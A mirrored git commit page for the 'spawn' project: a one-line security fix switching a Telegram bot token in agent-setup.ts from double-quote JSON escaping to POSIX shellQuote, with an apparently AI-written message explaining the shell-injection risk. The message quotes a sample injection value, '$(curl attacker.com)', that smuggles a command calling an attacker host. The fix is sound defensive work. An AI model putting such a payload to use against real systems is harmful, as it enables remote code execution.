mirror of
https://github.com/OpenRouterTeam/spawn.git
synced 2026-04-28 11:59:29 +00:00
security: use shellQuote for Telegram bot token in shell command (#2561)
jsonEscape() produces double-quoted strings ("value") which allow
shell command substitution $(...) inside bash. A malicious
TELEGRAM_BOT_TOKEN like "$(curl attacker.com)" would execute on
the remote VM when openclaw config is set.
shellQuote() uses POSIX single-quote escaping which prevents all
shell expansion. Every other user-supplied value in agent-setup.ts
(GITHUB_TOKEN, git user.name, git user.email) correctly uses
shellQuote — the bot token was the only exception.
Agent: security-auditor
Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
This commit is contained in:
parent
d578e614e2
commit
370afb631c
1 changed files with 1 additions and 1 deletions
|
|
@ -378,7 +378,7 @@ async function setupOpenclawConfig(
|
|||
const trimmedToken = envToken?.trim() || (await prompt("Telegram bot token: ")).trim();
|
||||
|
||||
if (trimmedToken) {
|
||||
const escapedBotToken = jsonEscape(trimmedToken);
|
||||
const escapedBotToken = shellQuote(trimmedToken);
|
||||
const telegramResult = await asyncTryCatchIf(isOperationalError, () =>
|
||||
runner.runServer(
|
||||
"export PATH=$HOME/.npm-global/bin:$HOME/.bun/bin:$HOME/.local/bin:$PATH; " +
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue